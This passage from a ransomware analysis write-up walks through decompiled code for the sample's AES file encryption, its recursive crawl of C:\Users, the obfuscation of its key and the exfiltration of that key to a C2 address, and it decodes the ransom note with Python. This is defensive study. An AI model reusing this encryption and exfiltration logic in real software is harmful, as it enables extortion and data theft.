  • sub_1400042B0 -> Call_CreateThread
  • sub_140008CB0 -> Init_Thread_Pool
  • sub_140008BB0 -> FileProcessingWorkerThread
  • sub_1400052F0 -> Call_RtlEnterCriticalSection
  • sub_140005370 -> Call_SleepConditionVariableCS
  • sub_140005490 -> Call_RtlLeaveCriticalSection

We know that FileProcessingWorkerThread pulls target files from the queue and passes them to sub_140008B80. This subroutine is a simple wrapper that calls the real encryption engine, sub_140006C50, passing the file path and the global AES key (qw_AES_Key).

Let’s look at the core structure of sub_140006C50 (which we will rename to Process_And_Encrypt_File):

Function Breakdown: File Encryption Routine

__int64 __fastcall sub_140006C50(_WORD *a1, __int64 a2)
{
  int v2; // eax
  int v3; // eax
  __int64 result; // rax
  unsigned __int8 v5; // [rsp+40h] [rbp-78h]
  bool v6; // [rsp+41h] [rbp-77h]
  unsigned __int8 v7; // [rsp+42h] [rbp-76h]
  unsigned int i; // [rsp+44h] [rbp-74h]
  unsigned int v9; // [rsp+48h] [rbp-70h]
  _BYTE *v10; // [rsp+50h] [rbp-68h]
  int hFile; // [rsp+60h] [rbp-58h]
  unsigned int v12; // [rsp+68h] [rbp-50h]
  DWORD LastError; // [rsp+6Ch] [rbp-4Ch]
  _BYTE *v14; // [rsp+70h] [rbp-48h]
  _BYTE *v15; // [rsp+78h] [rbp-40h]
  __int64 v16; // [rsp+80h] [rbp-38h]
  __int64 v17; // [rsp+88h] [rbp-30h]
  LARGE_INTEGER FileSize; // [rsp+98h] [rbp-20h] BYREF
  __int64 v19; // [rsp+A0h] [rbp-18h]

  v7 = 0;
  v2 = sub_1400039E0(a1);
  v15 = (_BYTE *)Heap_Alloc_private((unsigned int)(v2 + 1));
  v3 = sub_1400039E0(a1);
  UnicodeToAscii(a1, v15, v3);
  v17 = std::ostream::operator<<(std::cout, a1);
  std::ostream::operator<<(v17, sub_140007710);
  v14 = (_BYTE *)sub_140005E30(v15);
  if ( *v14 )
  {
    v9 = len(v14);
    v10 = (_BYTE *)Heap_Alloc_private(v9);
    Memcpy(v10, v14 + 1, v9 - 1);
    sub_1400064B0(v10, v9 - 1);
    for ( i = 0; i < 0x24; ++i )
    {
      v12 = len(*(_BYTE **)(qword_14000F330 + 8LL * i));
      if ( (unsigned __int8)Strncmp(*(_QWORD *)(qword_14000F330 + 8LL * i), v10, v12) )
      {
        v7 = 1;
        break;
      }
    }
    Free(v10);
  }
  Free(v15);
  result = v7;
  if ( v7 )
  {
    result = Call_CreateFileW((__int64)a1, 0xC0000000, 0, 0, 3, 128, 0);
    hFile = result;
    if ( result != -1 )
    {
      v6 = GetFileSizeEx((HANDLE)result, &FileSize);
      result = v6;
      if ( v6 )
      {
        v5 = 16 - FileSize.QuadPart % 0x10uLL;
        if ( v5 == 16 )
          v5 = 0;
        if ( FileSize.QuadPart >= 0x10000uLL )
        {
          result = (unsigned __int8)sub_140006780(hFile, (_DWORD)a1, FileSize.LowPart + v5 + 17, v5, a2);
          if ( !(_BYTE)result )
            return result;
        }
        else
        {
          result = (unsigned __int8)sub_140006580(hFile, (_DWORD)a1, FileSize.LowPart + v5 + 17, v5, a2);
          if ( !(_BYTE)result )
            return result;
        }
        v16 = sub_140003AC0(a1, enc_ext);
        if ( !(unsigned __int8)sub_140005160(a1, v16) )
        {
          LastError = GetLastError();
          v19 = std::ostream::operator<<(std::cout, LastError);
          std::ostream::operator<<(v19, sub_140007710);
        }
        return Free(v16);
      }
    }
  }
  return result;
}

The function first verifies if the file’s extension matches one of the 36 targets in the global hitlist we decrypted earlier. If it matches, it opens the file with read/write permissions (GENERIC_READ | GENERIC_WRITE).

Because AES is a block cipher, the data must be a multiple of 16 bytes. The malware calculates the required padding (pad_size) and then branches into one of two identical encryption routines depending on the file size (sub_140006780 for files over 64KB, and sub_140006580 for smaller ones). Notice the interesting size calculation passed to these routines: FileSize + pad_size + 17. This strongly implies the malware is injecting 17 bytes of additional metadata into the file.

Diving into the large file encryption routine (sub_140006780), we find the exact cryptographic mechanics:

char __fastcall sub_140006780(__int64 a1, __int64 a2, unsigned __int64 a3, char a4, __int64 a5)
{
  _BYTE *v6; // [rsp+30h] [rbp-B8h]
  _BYTE *v7; // [rsp+30h] [rbp-B8h]
  unsigned int v8; // [rsp+38h] [rbp-B0h]
  _BYTE *v9; // [rsp+40h] [rbp-A8h]
  __int64 v10; // [rsp+48h] [rbp-A0h]
  unsigned __int64 v11; // [rsp+50h] [rbp-98h]
  __int64 v12; // [rsp+58h] [rbp-90h]
  _BYTE *v13; // [rsp+60h] [rbp-88h]
  __int64 v14; // [rsp+68h] [rbp-80h]
  unsigned int v15; // [rsp+70h] [rbp-78h]
  _BYTE *Random_Bytes; // [rsp+78h] [rbp-70h]
  __int64 v17; // [rsp+88h] [rbp-60h]
  __int64 v18; // [rsp+90h] [rbp-58h]
  unsigned __int64 v19; // [rsp+98h] [rbp-50h]
  _BYTE v20[24]; // [rsp+A0h] [rbp-48h] BYREF
  _BYTE v21[24]; // [rsp+B8h] [rbp-30h] BYREF

  memset(v20, 0, 0x11u);
  memset(v21, 0, 0x11u);
  v10 = 0;
  v11 = 0;
  v19 = a3 / 0x10000;
  v8 = a3 % 0x10000;
  v14 = sub_140004EC0(a1, 0, 4, 0, a3, 0);
  if ( v14 )
  {
    v12 = Heap_Alloc_private(256);
    Random_Bytes = (_BYTE *)Generate_Random_Bytes(0x10u);
    sub_140001610(v12, a5, Random_Bytes);
    while ( v11 < v19 )
    {
      v9 = (_BYTE *)sub_140004FA0(v14, 983071, HIDWORD(v10), v10, 0x10000);
      if ( !v9 )
        return 0;
      if ( v11 )
      {
        v6 = (_BYTE *)Heap_Alloc_private(0x10000);
        Memcpy(v6, v9, 0x10000);
        sub_140001EE0(v12, v6, 0x10000);
        Memcpy(v20, v6 + 65519, 17);
        Memcpy(v9, v21, 17);
        Memcpy(v21, v20, 17);
        Memcpy(v9 + 17, v6, 65519);
        v10 += 0x10000;
        ++v11;
      }
      else
      {
        v6 = (_BYTE *)Heap_Alloc_private(65553);
        Memcpy(v6 + 17, v9, 0x10000);
        sub_140001EE0(v12, v6 + 17, 0x10000);
        Memcpy(v20, v6 + 0x10000, 17);
        *v6 = a4;
        Memcpy(v6 + 1, Random_Bytes, 16);
        Memcpy(v21, v20, 17);
        Memcpy(v9, v6, 0x10000);
        v10 += 0x10000;
        v11 = 1;
      }
      sub_1400050E0(v9);
      Free(v6);
    }
    v13 = (_BYTE *)sub_140004FA0(v14, 6, HIDWORD(v10), v10, v8);
    v7 = (_BYTE *)Heap_Alloc_private(v8);
    Memcpy(v7, v13, v8);
    Memcpy(v13, v20, 17);
    sub_140001EE0(v12, v7, v8 - 17);
    Memcpy(v13 + 17, v7, v8 - 17);
    Free(v7);
    Free(Random_Bytes);
    Free(v12);
    sub_1400050E0(v13);
    Call_CloseHandle(a1);
    Call_CloseHandle(v14);
    return 1;
  }
  else
  {
    v17 = sub_1400071C0(std::cout, "Create hMapping: ");
    v15 = Call_GetLastError();
    v18 = std::ostream::operator<<(v17, v15);
    std::ostream::operator<<(v18, sub_140007710);
    return 0;
  }
}

Instead of reading the entire file into heap memory (which would crash the system on large files), the malware uses Windows Memory-Mapped Files (CreateFileMapping, MapViewOfFile) to seamlessly encrypt the data in 64KB chunks.

Crucially, on the very first chunk of the file, we can see exactly how the malware applies the cryptographic header:

  1. It generates 16 completely random bytes using Generate_Random_Bytes. This serves as the Initialization Vector (IV) required for AES-CBC mode.
  2. It initializes the custom AES context (sub_140001610) using the global 32-byte AES key and the newly generated 16-byte IV.
  3. It shifts the original file data forward by exactly 17 bytes.
  4. It encrypts the data in-place.
  5. It constructs the 17-byte header: The very first byte (*v6) is set to the pad_size. The next 16 bytes are populated with the raw IV. Finally, once the file is fully encrypted and unmapped, execution returns to Process_And_Encrypt_File, which appends the decrypted .naso string to the filename using MoveFileW.

This 17-byte header is the critical piece of the puzzle we will need later when writing our decryption script.

With the encryption thread pool fully initialized and waiting for work, the main thread shifts its focus to finding targets. Back in the main setup routine (sub_140008D40), the malware allocates a buffer and calls sub_140002010():

__int64 sub_140002010()
{
  unsigned int v1; // [rsp+20h] [rbp-18h]
  __int64 v2; // [rsp+28h] [rbp-10h]

  v1 = Call_GetWindowsDirectoryA(0, 0);
  if ( !v1 )
    return 0;
  v2 = Heap_Alloc_private(2 * v1 + 2);
  if ( !(unsigned int)Call_GetWindowsDirectoryA(v2, v1) )
    return 0;
  *(_BYTE *)(v2 + 3) = 0;
  return v2;
}

This function calls GetWindowsDirectoryA twice. The first call queries the necessary buffer size, while the second retrieves the actual installation path like C:\Windows.

The most important step happens immediately after. The instruction *(_BYTE *)(drive_path + 3) = 0; manually places a null terminator at the third index of the string. This cleanly truncates the full path down to just the root directory, leaving only C:.

The malware uses this method instead of hardcoding a drive letter to ensure reliability. If a victim installed their operating system on a different partition, a hardcoded path would break the execution. This dynamic approach guarantees the ransomware will always find the exact root drive to use as ground zero for its infection.

To accurately reflect its purpose, I renamed this function to GetSystemDrive. Now that the malware has the root drive (e.g., C:), it needs to construct the exact path it wants to attack. Let’s look at the next block of code in the main setup routine:

  DecryptString((__int64)&unk_14000E2D0, 9u);
  v4 = ConcatString(v6, &unk_14000E2D0); // v6 is the "C:\" string
  
  v0 = len(v4);
  v5 = Heap_Alloc_private((unsigned int)(2 * v0 + 2));
  v1 = len(v4);
  sub_140003A30(v4, v5, v1);

First, it decrypts a 9-byte string at unk_14000E2D0. Extracting the raw bytes (0x19, 0x1D, 0x15, 0x1A, 0x30…) and passing them through our XOR script reveals the string Users*.

The ConcatString function then merges this with our previously obtained system drive, resulting in C:\Users*.

This is a very deliberate design choice. Instead of blindly encrypting the entire C:\ drive, which could corrupt the Windows installation and crash the system before the encryption process finishes, the ransomware specifically targets the Users directory. This is where all the high-value personal files, documents, downloads, and desktop items are stored.

Next, the malware prepares this string for the Windows API. It calculates the length of C:\Users* and allocates a new buffer of size 2 * length + 2. This size calculation is the standard formula for converting an ASCII string to a Wide String (UTF-16LE), where each character takes up 2 bytes, plus 2 bytes for the wide null terminator.

Diving into sub_140003A30, we see exactly how it performs this conversion manually without relying on standard APIs like MultiByteToWideChar:

__int64 __fastcall sub_140003A30(_BYTE *ascii_str, _BYTE *wide_str, int length)
{
  __int64 result; // rax
  _BYTE *next_wide_byte; // [rsp+0h] [rbp-18h]
  _BYTE *current_char; // [rsp+20h] [rbp+8h]

  current_char = ascii_str;
  if ( ascii_str )
  {
    while ( 1 )
    {
      result = (unsigned int)(char)*current_char;
      if ( !*current_char || !length )
        break;
        
      *wide_str = *current_char++; // Copy the ASCII character
      next_wide_byte = wide_str + 1; 
      *next_wide_byte = 0;         // Insert the null byte padding
      
      wide_str = next_wide_byte + 1; // Move to the next 2-byte block
      --length;
    }
  }
  return result;
}

This simple loop iterates through the ASCII string, copying each character and manually inserting a null byte immediately after it (C -> C\x00, :\ -> :\x00, and so on). I renamed this function to AsciiToWideString to make its intent perfectly clear.

The malware now holds a perfectly formatted wide string of C:\Users* in memory, ready to be passed into the Windows file enumeration APIs.

Before dissecting the main recursive file scanner (sub_140008960), we need to examine three key helper functions it relies on to navigate the victim’s file system.

First, sub_140004430 acts as a simple wrapper. Running its target hash 0x26FD2279 against kernel32.dll through our Python script resolves it directly to FindFirstFileW. This API initiates a directory search, taking a search string (like C:\Users*) and a pointer to a WIN32_FIND_DATAW structure, returning a search handle.

Similarly, sub_1400044C0 is a wrapper for FindNextFileW (resolved from hash 0x633DDC99 in kernel32.dll). This API takes the search handle generated by the previous function and iterates through the directory, updating the WIN32_FIND_DATAW structure with the next file or folder it finds.

Finally, we have sub_140001F90, which contains custom logic and is called immediately after a successful FindFirstFileW execution:

__int64 __fastcall sub_140001F90(__int64 a1)
{
  __int64 result; // rax
  unsigned int i; // [rsp+0h] [rbp-28h]
  __int64 v3; // [rsp+8h] [rbp-20h]

  v3 = -1;
  do
    ++v3;
  while ( *(_WORD *)(a1 + 2 * v3) );
  
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)(2 * v3);
    if ( i >= (unsigned int)result )
      break;
    if ( *(_BYTE *)(a1 + 2LL * i) == 42 ) // 42 is the ASCII code for '*'
      *(_BYTE *)(a1 + 2LL * i) = 0;
  }
  return result;
}

This is a custom path sanitizer. It iterates through the wide string and searches for the byte value 42, which is the ASCII character for an asterisk (*). When it finds the asterisk, it replaces it with a null terminator (\0). This effectively strips the wildcard from the search path, converting C:\Users* into C:\Users. This step ensures the base path is ready so newly discovered file names can be cleanly appended to it later.

Understanding these three functions unlocks the entire logic of the main crawler. The buffer v5 is actually the WIN32_FIND_DATAW structure. Inside the while loop, the malware performs a bitwise check: (v5[0] & 0x10) != 0. In the Windows API, 0x10 corresponds to the FILE_ATTRIBUTE_DIRECTORY flag.

This creates a highly efficient decision tree:

  1. If it is a directory: The malware checks if the folder name is . or .. to avoid infinite loops. If it is a valid folder, it appends the new folder name to the current path, adds * to the end, and calls itself recursively to dive deeper into the directory tree.
  2. If it is a file: The malware safely enters the critical section, inserts the newly built full file path into the global linked list queue, leaves the critical section, and wakes up the condition variable. This instantly alerts the sleeping worker threads that a new file is ready for encryption.

With this architecture fully analyzed, we can apply the final set of renames to map out the crawler:

  • sub_140004430 -> Call_FindFirstFileW
  • sub_1400044C0 -> Call_FindNextFileW
  • sub_140001F90 -> Remove_Asterisk_From_Path
  • sub_140008960 -> Ransomware_RecursiveFileScanner Once the recursive file scanner completes its sweep of the target directory, execution returns to the main orchestrator function.

Here is the final block of code in the main setup routine:

  byte_14000E2C8 = 0; // Is_Scanning_Active = 0
  LOBYTE(v2) = 1;
  sub_140005590((unsigned int)dw_CPU_Cores, qword_14000F360, v2, 0xFFFFFFFFLL);
  
  qword_14000EAC0 = sub_140008850(); // Processes the AES Key for export
  
  Free(qword_14000F360);
  sub_1400037B0(qword_14000F328, 32); 
  Free(qword_14000F328);
  Free(v5);
  return sub_140008830();

Before diving into sub_140008850, we can map the surrounding API wrappers based on their parameters and standard Windows synchronization patterns:

  • sub_140005590 -> Call_WaitForMultipleObjects: It takes the number of CPU cores, the array of thread handles, and 0xFFFFFFFF (INFINITE). This ensures the main thread sleeps until all encryption workers have terminated.
  • sub_1400037B0 -> Call_RtlZeroMemory_Wrapper: It takes the 32-byte AES key (qword_14000F328) and a size of 32, wiping the raw key from RAM to prevent memory dumping by incident responders.
  • sub_140008830 -> Call_RtlDeleteCriticalSectionWrapper: Cleans up the synchronization object created earlier. With the cleanup mapped, let’s look at sub_140008850, which is responsible for handling the master AES key before it gets wiped from memory. Before diving into the logic, I resolved its underlying API calls:
  • sub_140002C20 loads crypt32.dll.
  • sub_140005640 resolves to CryptBinaryToStringA. This completely changes our understanding of the function. It is not performing asymmetric RSA encryption here; instead, it is obfuscating and Base64-encoding the AES key. Let’s look at the updated code:
    __int64 ObfuscateAndBase64EncodeAESKey()
    {
    unsigned int i; // [rsp+34h] [rbp-24h]
    unsigned int v2; // [rsp+38h] [rbp-20h] BYREF
    __int64 v3; // [rsp+40h] [rbp-18h]
    
    if ( !qword_14000F388 )
      Init_crypt32_Base();
    v2 = 0;
    for ( i = 0; i < 0x20; ++i )
      *(_BYTE *)(qword_14000F328 + i) ^= 0xBBu;
    if ( !(unsigned __int8)Call_CryptBinaryToStringA(qword_14000F328, 32, 1073741825, 0, (__int64)&v2) )
      return 0;
    v3 = Heap_Alloc_Private(v2);
    if ( (unsigned __int8)Call_CryptBinaryToStringA(qword_14000F328, 32, 1073741825, v3, (__int64)&v2) )
      return v3;
    else
      return 0;
    }
    

    This function performs a fascinating two-step obfuscation mechanism on the dynamically generated 256-bit AES key:

First, it runs a simple for loop 32 times, XORing every single byte of the AES key with the hardcoded value 0xBB. This is a rudimentary layer of protection just in case an analyst catches the buffer in memory right before the heavy file operations start.

Second, it passes the XOR’d AES key into CryptBinaryToStringA. The way this function is called reveals a classic Windows API pattern:

  1. It is called the first time with a 0 (null) output buffer. The API calculates the required size to hold the Base64 string and stores it in base64_length.
  2. The malware allocates exactly base64_length bytes of memory.
  3. It calls the API a second time, passing the newly allocated buffer (base64_buffer) to receive the actual Base64 string. The constant 1073741825 (0x40000001) passed into the wrapper is the logical OR of CRYPT_STRING_BASE64 and CRYPT_STRING_NOCRLF. This ensures the output is a continuous Base64 string without any carriage returns or line feeds, making it perfect for embedding into a text file or appending directly to encrypted files.

The output of this function (qword_14000EAC0) is the fully obfuscated and Base64-encoded AES key. Since the malware dynamically generates a random AES key in memory for every infection, this specific blob is the absolute only key capable of decrypting the victim’s files. It is safely held in memory until the malware is ready to embed it into the ransom note or the encrypted files.

With this final piece understood, we can accurately rename the massive orchestrator function sub_140008D40 to InitializeAndRunRansomware

Endgame: Ransom Note & Data Exfiltration

After the massive InitializeAndRunRansomware function finishes its job (meaning all victim files have been encrypted), the main function calls its final routine: sub_140003310. This is the ransomware’s endgame.

Let’s look at the initial string decryption block at the top of this function:

Function Breakdown: Endgame Orchestrator

__int64 sub_140003310()
{
  __int64 result; // rax
  int v1; // eax
  char v2; // [rsp+40h] [rbp-28h] BYREF
  __int64 v3; // [rsp+48h] [rbp-20h]
  __int64 v4; // [rsp+50h] [rbp-18h]
  __int64 v5; // [rsp+58h] [rbp-10h]

  DecryptString((__int64)pszAddrString, 0x1Cu);
  v5 = Heap_Alloc_private(14);
  DecryptString((__int64)byte_14000EF60, 0x49u);
  DecryptString((__int64)byte_14000F0B8, 0x1Cu);
  sub_140003600(byte_14000EAF0, 795);
  sub_1400022C0();
  v4 = sub_140003000();
  result = sub_140004D00((unsigned int)byte_14000F0B8, -1073741824, 0, 0, 2, 128, 0);
  v3 = result;
  if ( result != -1 )
  {
    v1 = len((_BYTE *)qword_14000EAB8);
    sub_140004E00(v3, v4, v1 + 793, (unsigned int)&v2, 0);
    sub_140005060(v3);
    Free(v4);
    sub_140003980(byte_14000F0B8, v5, 14);
    sub_1400031D0(v5);
    sub_1400079A0();
    return Call_ExitProcess(0);
  }
  return result;
}

By extracting the raw bytes of these variables and passing them through our Python decryptor, the ransomware’s final moves are completely exposed:

  1. pszAddrString decrypts to 192.168.1.104: This is the Command and Control (C2) server IP address. The ransomware is preparing to open a network connection to report back to the attacker.
  2. unk_14000EF60 decrypts to {‘Name’ : %s , ‘Computer’ : %s , ‘Proc’ : %s , ‘Key’ : %s , ‘Id’ : %s}: This is a JSON payload template. The malware bundles the victim’s username, computer name, processor info, victim ID, and most importantly, the Base64-encoded AES Key we analyzed earlier. This data is exfiltrated directly to the attacker’s server.
  3. word_14000F0B8 decrypts to Important.txt: This is the Ransom Note filename!

Looking at the next line in the function, the malware calls sub_140003600(byte_14000EAF0, 795). This function takes a 795-byte encrypted payload and processes it. Diving into this function reveals a completely different, custom decryption algorithm compared to the simple XOR routine we’ve seen so far:

__int64 __fastcall sub_140003600(__int64 a1, unsigned int a2)
{
  __int64 result; // rax
  unsigned int v3; // [rsp+0h] [rbp-18h]

  v3 = 0;
  result = (unsigned int)byte_14000F128[0];
  if ( byte_14000F128[0] )
  {
    while ( 1 )
    {
      result = a2;
      if ( v3 >= a2 )
        break;
      *(_BYTE *)(a1 + v3) -= v3;
      *(_BYTE *)(a1 + v3) ^= byte_14000F118[v3 % 0xA];
      ++v3;
    }
  }
  return result;
}

This is a dynamic, rolling decryption algorithm. To decrypt a byte, the malware first subtracts the byte’s current index from its value. It then XORs the result against a 10-byte rolling key starting at byte_14000F118.

If you recall from our earlier analysis, both this 795-byte encrypted payload and the 10-byte key didn’t just appear out of thin air. They were stealthily staged into these memory addresses via Memcpy operations by the TLS Callback long before main even started executing! Specifically, the callback pulled the 10-byte key from byte_14000B7B0 and the 795-byte payload from byte_14000B490, both residing safely inside the read-only .rdata section.

Since we don’t want to run the ransomware dynamically to see the note, I dumped the 795 bytes of ciphertext and the 10-byte key (0x13, 0x3D, 0x19, 0x0C, 0x36, 0x2E, 0x65, 0x61, 0x1B, 0x29) from IDA and replicated the algorithm in Python:

def decrypt_ransom_payload(cipher_hex):
    key = [0x13, 0x3D, 0x19, 0x0C, 0x36, 0x2E, 0x65, 0x61, 0x1B, 0x29]
    plaintext = ""
    
    for i, c in enumerate(cipher_hex):
        decrypted_char = ((c - i) & 0xFF) ^ key[i % 10]
        plaintext += chr(decrypted_char)
        
    return plaintext

cipher_data = [
  0x1A, 0x35, 0x12, 0x08, 0x43, 0x2C, 0x72, 0x6F, 0x1A, 0x29, 
  0x24, 0x3F, 0x44, 0x3A, 0x25, 0x1E, 0x3C, 0x1D, 0x7D, 0x59, 
  0x75, 0x5E, 0x8E, 0x79, 0x5A, 0x27, 0x46, 0x2A, 0x99, 0x63, 
  0x7F, 0x6F, 0x98, 0x99, 0x81, 0x64, 0x2F, 0x65, 0x60, 0x2F, 
  0x5A, 0x60, 0x3D, 0x70, 0x42, 0x30, 0x73, 0x65, 0xA3, 0x79, 
  0x99, 0x4D, 0x9E, 0x61, 0xB4, 0x86, 0x4D, 0x4A, 0xB8, 0x82, 
  0xB2, 0x96, 0x77, 0x72, 0x7C, 0x65, 0x66, 0x50, 0xBB, 0x4E, 
  0xB0, 0x99, 0xB4, 0xC7, 0x60, 0x92, 0x54, 0x5E, 0xC2, 0xAA, 
  0xB7, 0xAD, 0xC9, 0xCB, 0x6A, 0x9D, 0x62, 0x64, 0xD6, 0xB3, 
  0x8D, 0xB5, 0xD2, 0xD5, 0x74, 0xAA, 0x6B, 0x63, 0xCB, 0xB3, 
  0xC7, 0xAE, 0xE2, 0xCF, 0x7E, 0xB5, 0x86, 0xAC, 0xE2, 0xBD, 
  0xA1, 0xE0, 0xE6, 0xEB, 0xC5, 0xB5, 0x90, 0xB6, 0xBF, 0xBF, 
  0xF5, 0xC7, 0xF0, 0xDC, 0xBD, 0xCC, 0x95, 0x83, 0xBB, 0x86, 
  0xB5, 0xEB, 0xBD, 0xF4, 0xDD, 0xC7, 0xCD, 0x8B, 0xFD, 0xD7, 
  0xFC, 0xE3, 0xC7, 0x07, 0xEE, 0xE0, 0xA3, 0xD4, 0x0D, 0xF1, 
  0xFD, 0xB4, 0x03, 0x02, 0xF5, 0xE6, 0xA3, 0xA1, 0x07, 0xA8, 
  0xE6, 0xBE, 0x1F, 0x06, 0xFC, 0xFF, 0xEB, 0xB0, 0x22, 0x08, 
  0x20, 0xC8, 0x28, 0x0F, 0x07, 0x0A, 0xB2, 0xBA, 0xED, 0x10, 
  0x2E, 0x05, 0x32, 0xE3, 0xFA, 0xFA, 0xFF, 0xCC, 0x33, 0x05, 
  0x28, 0xDC, 0x38, 0x3F, 0x1B, 0x1E, 0xCF, 0xCA, 0xFB, 0xEA, 
  0xE1, 0x3D, 0x1A, 0xF7, 0xE7, 0xDB, 0x00, 0xD8, 0x4A, 0x2E, 
  0x05, 0x3C, 0x4A, 0x01, 0x28, 0x18, 0x1D, 0x37, 0xEB, 0xFE, 
  0x36, 0xFA, 0x5C, 0x4C, 0x24, 0x30, 0xED, 0xF8, 0x56, 0x31, 
  0x19, 0x30, 0x59, 0x56, 0x2C, 0xF9, 0xF0, 0xFA, 0x65, 0xF8, 
  0x5A, 0x43, 0x5E, 0x71, 0x0A, 0x3D, 0x02, 0x04, 0x76, 0x53, 
  0x2D, 0x59, 0x74, 0x5F, 0x14, 0x4B, 0x00, 0x42, 0x6B, 0x4F, 
  0x74, 0x57, 0x75, 0x70, 0x4C, 0x54, 0x0B, 0x4C, 0x85, 0x5D, 
  0x41, 0x5C, 0x7C, 0x8F, 0x67, 0x59, 0x18, 0x27, 0x88, 0x5E, 
  0x8C, 0x36, 0x8E, 0x90, 0x32, 0x7A, 0x28, 0x26, 0x8F, 0x7F, 
  0x94, 0x72, 0xA0, 0x51, 0x40, 0x35, 0x59, 0x37, 0x65, 0x78, 
  0xA8, 0x4A, 0x98, 0x92, 0x46, 0x79, 0x3C, 0x40, 0xAB, 0x7B, 
  0x9A, 0x54, 0xA5, 0x9D, 0x8D, 0x49, 0x48, 0x4C, 0xA6, 0x9C, 
  0xA1, 0x89, 0xBC, 0xBB, 0xA3, 0x86, 0x51, 0x59, 0x83, 0x94, 
  0xC0, 0x9C, 0xC2, 0xC8, 0x5A, 0x73, 0xBF, 0xA1, 0x73, 0x5C, 
  0x97, 0xB1, 0xB6, 0x83, 0x5C, 0x77, 0xAF, 0xAC, 0x9B, 0x66, 
  0xC2, 0xB1, 0xCB, 0xD9, 0xC0, 0x71, 0x6E, 0x6C, 0xA1, 0xB2, 
  0xE2, 0xB2, 0xE4, 0xCE, 0xCB, 0xAD, 0xB3, 0x84, 0xE4, 0x7A, 
  0xD9, 0xC8, 0xE4, 0xF4, 0x8C, 0xC6, 0x79, 0x7E, 0xE3, 0xC7, 
  0xDC, 0xCB, 0xB7, 0xB5, 0x96, 0xCD, 0x88, 0xD3, 0xEE, 0xCC, 
  0xED, 0xE1, 0xF6, 0xF1, 0xCD, 0xE6, 0x9B, 0x92, 0xFF, 0xD6, 
  0x05, 0xDC, 0xC1, 0x0B, 0xE2, 0xEE, 0xB3, 0xAB, 0x14, 0xE6, 
  0xFA, 0xE0, 0xCB, 0xFF, 0xDF, 0xBA, 0xA8, 0xA8, 0x15, 0xF1, 
  0x06, 0x01, 0xD3, 0x09, 0x00, 0xBF, 0x01, 0x16, 0xD5, 0xC0, 
  0xE1, 0x1D, 0x2C, 0x13, 0x04, 0xC1, 0xBC, 0xB9, 0xF1, 0xFF, 
  0x35, 0xD6, 0x36, 0x1C, 0x13, 0x04, 0xC7, 0x00, 0x38, 0x07, 
  0x3F, 0x0C, 0x3C, 0x2A, 0x1E, 0x0E, 0xD3, 0xCF, 0x05, 0x28, 
  0x47, 0x25, 0x07, 0x14, 0x42, 0xDF, 0xD9, 0xD7, 0x4B, 0x1B, 
  0x3A, 0xF4, 0x45, 0x3C, 0xF0, 0x35, 0xE9, 0xE1, 0x19, 0x2E, 
  0x5C, 0x32, 0x57, 0x46, 0x25, 0x2C, 0xF1, 0xED, 0x23, 0x31, 
  0x61, 0x44, 0x57, 0x56, 0x33, 0x4C, 0x35, 0xF1, 0x67, 0x40, 
  0x27, 0x49, 0x34, 0x57, 0x52, 0x07, 0x00, 0x09, 0x71, 0x5A, 
  0x70, 0x5D, 0x6D, 0x2D, 0x45, 0x11, 0x1A, 0x13, 0x7A, 0x4E, 
  0x3B, 0x10, 0x43, 0x6D, 0x5F, 0x59, 0x1A, 0x1C, 0x82, 0x54, 
  0x33, 0x1B, 0x3C, 0x61, 0x5A, 0x62, 0x23, 0x1B, 0x83, 0x22, 
  0x8C, 0x6F, 0x92, 0x4B, 0x38, 0x45, 0x91, 0x4B, 0x83, 0x2E, 
  0x54, 0x44, 0x8A, 0x9A, 0x66, 0x4F, 0x58, 0x55, 0x80, 0x38, 
  0x6E, 0x4E, 0x80, 0x97, 0x8B, 0x8F, 0x7B, 0x46, 0xAC, 0x96, 
  0x6D, 0x84, 0xB2, 0x69, 0x90, 0x80, 0x85, 0x9F, 0x53, 0x5B, 
  0x82, 0x62, 0x8F, 0xA7, 0x9B, 0x98, 0x60, 0x4F, 0x87, 0x9A, 
  0xCA, 0xA2, 0xBD, 0x7D, 0xA7, 0x99, 0x58, 0x64, 0xD2, 0xA3, 
  0x8B, 0xA2, 0xCB, 0xC4, 0x72, 0xA5, 0x6A, 0x6C, 0xDE, 0xA8, 
  0xD4, 0xB3, 0xE0, 0x91, 0xBF, 0xAF, 0xAD, 0x69, 0xDF, 0xBB, 
  0x9F, 0xC5, 0xE5, 0xDE, 0xB4, 0xC8, 0x87, 0x88, 0xF2, 0xC2, 
  0xA9, 0xD2, 0xE8, 0xD9, 0xCD, 0x89, 0x88, 0x8C, 0xB9, 0xCF, 
  0xFC, 0xC9, 0xED, 0xAF, 0xD9, 0xC6, 0x8E, 0x98, 0xF6, 0xE6, 
  0x00, 0xDA, 0xC3, 0x93, 0x92, 0x92, 0xD5, 0xB6, 0x06, 0xDA, 
  0xFB, 0xB2, 0x04, 0x04, 0xDD, 0xF3, 0x9A, 0xDC, 0xDE, 0xE3, 
  0x04, 0xEE, 0xD9, 0x19, 0x01, 0xE6, 0xA4, 0xE6, 0x0E, 0xF3, 
  0x1A, 0xF8, 0x24, 0x0F, 0x0B, 0xED, 0xB0, 0xF0, 0x2D, 0xF7, 
  0x13, 0xD0, 0x33, 0x33, 0x09, 0x02, 0xFD, 0xBE, 0x38, 0x05, 
  0x1D, 0x01, 0x27, 0x37, 0x19, 0x1D, 0xD8, 0x04, 0xFB, 0xCE, 
  0x20, 0xE1, 0x37, 0x32, 0xE0, 0x36, 0xD7, 0xCF, 0x37, 0x1F, 
  0x33, 0x1A, 0x4E, 0x3B, 0xEA, 0x24, 0xDF, 0xE4, 0x13, 0x29, 
  0x56, 0x23, 0x47, 0x09, 0x2E, 0x26, 0xE9, 0xE5, 0x4A, 0xEC, 
  0x48, 0x39, 0x53, 0x4B, 0xFE, 0x38, 0x2F, 0x02, 0x6A, 0x48, 
  0x58, 0x0C, 0x5A, 0x69, 0x36, 0x34, 0xFF, 0xFB, 0x31, 0x3F, 
  0x77, 0x53, 0x70, 0x79, 0x5B, 0x57, 0x0B, 0x0B, 0x35, 0x24, 
  0x1B, 0x7D, 0x7A, 0x68, 0x58, 0x15, 0x31, 0x1D, 0x82, 0x4D, 
  0x3F, 0x29, 0x46, 0x3C, 0x27, 0x20, 0x56, 0x53, 0x4E, 0x1D, 
  0x48, 0x33, 0x50, 0x46, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00
]
print(decrypt_ransom_payload(cipher_data))

Running this script successfully reveals the attacker’s extortion message: alt text

!!!!Important Information!!!!

I - What's Happened ?

All your important files got encrypted by my Lovely Ransomware , U can check that but remeber U dont have enough time to play around.

II - What To do ?

I garantie that all your files can be recovered by purchasing my software , To do so follow the instructions below:

